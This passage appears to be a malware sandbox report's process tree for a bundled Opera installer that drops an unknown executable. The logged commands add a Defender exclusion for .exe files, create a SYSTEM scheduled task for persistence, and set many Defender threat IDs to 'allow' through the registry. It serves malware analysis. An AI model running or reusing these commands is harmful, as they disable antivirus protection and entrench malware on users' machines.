                                                                  • Loads dropped DLL
                                                                  • Enumerates connected drives
                                                                  PID:3636
                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS832B573B\setup.exe
                                                                    C:\Users\Admin\AppData\Local\Temp\7zS832B573B\setup.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=112.0.5197.24 --initial-client-data=0x320,0x324,0x328,0x2fc,0x32c,0x71b2b1f4,0x71b2b200,0x71b2b20c
                                                                    7⤵
                                                                    • Executes dropped EXE
                                                                    • Loads dropped DLL
                                                                    PID:4348
                                                                • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202407141904061\assistant\Assistant_111.0.5168.25_Setup.exe_sfx.exe
                                                                  "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202407141904061\assistant\Assistant_111.0.5168.25_Setup.exe_sfx.exe"
                                                                  6⤵
                                                                  • Executes dropped EXE
                                                                  PID:2996
                                                                • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202407141904061\assistant\assistant_installer.exe
                                                                  "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202407141904061\assistant\assistant_installer.exe" --version
                                                                  6⤵
                                                                  • Executes dropped EXE
                                                                  • Loads dropped DLL
                                                                  PID:1884
                                                                  • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202407141904061\assistant\assistant_installer.exe
                                                                    "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202407141904061\assistant\assistant_installer.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=111.0.5168.25 --initial-client-data=0x23c,0x240,0x244,0x218,0x248,0x649f88,0x649f94,0x649fa0
                                                                    7⤵
                                                                    • Executes dropped EXE
                                                                    • Loads dropped DLL
                                                                    PID:2364
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 4812 -s 2000
                                                              4⤵
                                                              • Program crash
                                                              PID:3928
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 4812 -s 2128
                                                              4⤵
                                                              • Program crash
                                                              PID:5056
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 4812 -s 1812
                                                              4⤵
                                                              • Program crash
                                                              PID:3872
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 4812 -s 1904
                                                              4⤵
                                                              • Program crash
                                                              PID:1096
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 4812 -s 1900
                                                              4⤵
                                                              • Program crash
                                                              PID:5104
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 4812 -s 2000
                                                              4⤵
                                                              • Program crash
                                                              PID:4508
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 4812 -s 2220
                                                              4⤵
                                                              • Program crash
                                                              PID:5108
                                                            • C:\Windows\SysWOW64\cmd.exe
                                                              C:\Windows\system32\cmd.exe /c powershell -Command "Unblock-File -Path C:\Users\Admin\AppData\Local\Temp\YR4ElAGu\7Vmlo2O5sbzDUhvkuQs.exe"
                                                              4⤵
                                                                PID:3784
                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                  powershell -Command "Unblock-File -Path C:\Users\Admin\AppData\Local\Temp\YR4ElAGu\7Vmlo2O5sbzDUhvkuQs.exe"
                                                                  5⤵
                                                                  • Command and Scripting Interpreter: PowerShell
                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                  PID:2052
                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 4812 -s 2160
                                                                4⤵
                                                                • Program crash
                                                                PID:3604
                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 4812 -s 2020
                                                                4⤵
                                                                • Program crash
                                                                PID:4816
                                                              • C:\Users\Admin\AppData\Local\Temp\YR4ElAGu\7Vmlo2O5sbzDUhvkuQs.exe
                                                                C:\Users\Admin\AppData\Local\Temp\YR4ElAGu\7Vmlo2O5sbzDUhvkuQs.exe /did=757674 /S
                                                                4⤵
                                                                • Checks BIOS information in registry
                                                                • Checks computer location settings
                                                                • Executes dropped EXE
                                                                • Enumerates system info in registry
                                                                PID:4548
                                                                • C:\Windows\SysWOW64\forfiles.exe
                                                                  "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
                                                                  5⤵
                                                                    PID:3480
                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                      /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                                      6⤵
                                                                        PID:4336
                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                          powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                                          7⤵
                                                                          • Command and Scripting Interpreter: PowerShell
                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                          PID:4944
                                                                          • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                            "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                                            8⤵
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:2676
                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                      schtasks /CREATE /TN "bEtnHIcecDUtXwQuWS" /SC once /ST 19:05:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\YR4ElAGu\7Vmlo2O5sbzDUhvkuQs.exe\" z0 /eMdidz 757674 /S" /V1 /F
                                                                      5⤵
                                                                      • Drops file in Windows directory
                                                                      • Scheduled Task/Job: Scheduled Task
                                                                      PID:4376
                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 4812 -s 2188
                                                                    4⤵
                                                                    • Program crash
                                                                    PID:2040
                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 4812 -s 1948
                                                                    4⤵
                                                                    • Program crash
                                                                    PID:4740
                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 4812 -s 1912
                                                                    4⤵
                                                                    • Program crash
                                                                    PID:1128
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 4812 -ip 4812
                                                              1⤵
                                                                PID:4376
                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 4812 -ip 4812
                                                                1⤵
                                                                  PID:2192
                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 4812 -ip 4812
                                                                  1⤵
                                                                    PID:4488
                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 4812 -ip 4812
                                                                    1⤵
                                                                      PID:4832
                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 4812 -ip 4812
                                                                      1⤵
                                                                        PID:2040
                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 4812 -ip 4812
                                                                        1⤵
                                                                          PID:4524
                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 4812 -ip 4812
                                                                          1⤵
                                                                            PID:1584
                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 4812 -ip 4812
                                                                            1⤵
                                                                              PID:2064
                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 4812 -ip 4812
                                                                              1⤵
                                                                                PID:3024
                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 4812 -ip 4812
                                                                                1⤵
                                                                                  PID:3920
                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 4812 -ip 4812
                                                                                  1⤵
                                                                                    PID:1888
                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 596 -p 4812 -ip 4812
                                                                                    1⤵
                                                                                      PID:1700
                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 596 -p 4812 -ip 4812
                                                                                      1⤵
                                                                                        PID:3672
                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 616 -p 4812 -ip 4812
                                                                                        1⤵
                                                                                          PID:3400
                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 620 -p 4812 -ip 4812
                                                                                          1⤵
                                                                                            PID:4960
                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 632 -p 4812 -ip 4812
                                                                                            1⤵
                                                                                              PID:3960
                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 636 -p 4812 -ip 4812
                                                                                              1⤵
                                                                                                PID:636
                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 612 -p 4812 -ip 4812
                                                                                                1⤵
                                                                                                  PID:1352
                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 4812 -ip 4812
                                                                                                  1⤵
                                                                                                    PID:3936
                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 632 -p 4812 -ip 4812
                                                                                                    1⤵
                                                                                                      PID:1148
                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 676 -p 4812 -ip 4812
                                                                                                      1⤵
                                                                                                        PID:3264
                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 680 -p 4812 -ip 4812
                                                                                                        1⤵
                                                                                                          PID:4896
                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 624 -p 4812 -ip 4812
                                                                                                          1⤵
                                                                                                            PID:3608
                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 712 -p 4812 -ip 4812
                                                                                                            1⤵
                                                                                                              PID:2676
                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 708 -p 4812 -ip 4812
                                                                                                              1⤵
                                                                                                                PID:3480
                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 740 -p 4812 -ip 4812
                                                                                                                1⤵
                                                                                                                  PID:4312
                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 700 -p 4812 -ip 4812
                                                                                                                  1⤵
                                                                                                                    PID:4352
                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 744 -p 4812 -ip 4812
                                                                                                                    1⤵
                                                                                                                      PID:4524
                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 780 -p 4812 -ip 4812
                                                                                                                      1⤵
                                                                                                                        PID:4484
                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 768 -p 4812 -ip 4812
                                                                                                                        1⤵
                                                                                                                          PID:1632
                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 736 -p 4812 -ip 4812
                                                                                                                          1⤵
                                                                                                                            PID:1064
                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 764 -p 4812 -ip 4812
                                                                                                                            1⤵
                                                                                                                              PID:516
                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 796 -p 4812 -ip 4812
                                                                                                                              1⤵
                                                                                                                                PID:2680
                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 812 -p 4812 -ip 4812
                                                                                                                                1⤵
                                                                                                                                  PID:1380
                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 736 -p 4812 -ip 4812
                                                                                                                                  1⤵
                                                                                                                                    PID:2720
                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 792 -p 4812 -ip 4812
                                                                                                                                    1⤵
                                                                                                                                      PID:2336
                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 824 -p 4812 -ip 4812
                                                                                                                                      1⤵
                                                                                                                                        PID:3836
                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 828 -p 4812 -ip 4812
                                                                                                                                        1⤵
                                                                                                                                          PID:5064
                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 816 -p 4812 -ip 4812
                                                                                                                                          1⤵
                                                                                                                                            PID:2764
                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 828 -p 4812 -ip 4812
                                                                                                                                            1⤵
                                                                                                                                              PID:4068
                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 840 -p 4812 -ip 4812
                                                                                                                                              1⤵
                                                                                                                                                PID:3784
                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 792 -p 4812 -ip 4812
                                                                                                                                                1⤵
                                                                                                                                                  PID:656
                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 744 -p 4812 -ip 4812
                                                                                                                                                  1⤵
                                                                                                                                                    PID:3264
                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 748 -p 4812 -ip 4812
                                                                                                                                                    1⤵
                                                                                                                                                      PID:2872
                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 800 -p 4812 -ip 4812
                                                                                                                                                      1⤵
                                                                                                                                                        PID:2040
                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 776 -p 4812 -ip 4812
                                                                                                                                                        1⤵
                                                                                                                                                          PID:928
                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 816 -p 4812 -ip 4812
                                                                                                                                                          1⤵
                                                                                                                                                            PID:2584
                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 800 -p 4812 -ip 4812
                                                                                                                                                            1⤵
                                                                                                                                                              PID:2872
                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 824 -p 4812 -ip 4812
                                                                                                                                                              1⤵
                                                                                                                                                                PID:436
                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 808 -p 4812 -ip 4812
                                                                                                                                                                1⤵
                                                                                                                                                                  PID:1156
                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\YR4ElAGu\7Vmlo2O5sbzDUhvkuQs.exe
                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\YR4ElAGu\7Vmlo2O5sbzDUhvkuQs.exe z0 /eMdidz 757674 /S
                                                                                                                                                                  1⤵
                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                  • Drops file in System32 directory
                                                                                                                                                                  PID:4748
                                                                                                                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                    powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
                                                                                                                                                                    2⤵
                                                                                                                                                                    • Drops file in System32 directory
                                                                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                    PID:1104
                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                      "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                      3⤵
                                                                                                                                                                        PID:4932
                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                          REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                          4⤵
                                                                                                                                                                            PID:2916
                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                          3⤵
                                                                                                                                                                            PID:4508
                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                            3⤵
                                                                                                                                                                              PID:4304
                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                              3⤵
                                                                                                                                                                                PID:836
                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                3⤵
                                                                                                                                                                                  PID:512
                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                  3⤵
                                                                                                                                                                                    PID:3396
                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                    3⤵
                                                                                                                                                                                      PID:1220
                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                      3⤵
                                                                                                                                                                                        PID:2368
                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                        3⤵
                                                                                                                                                                                          PID:4064
                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                          3⤵
                                                                                                                                                                                            PID:1980
                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                            3⤵
                                                                                                                                                                                              PID:5032
                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                              3⤵
                                                                                                                                                                                                PID:5080
                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                3⤵
                                                                                                                                                                                                  PID:3780
                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                    PID:1568
                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                      PID:1552
                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                        PID:1696
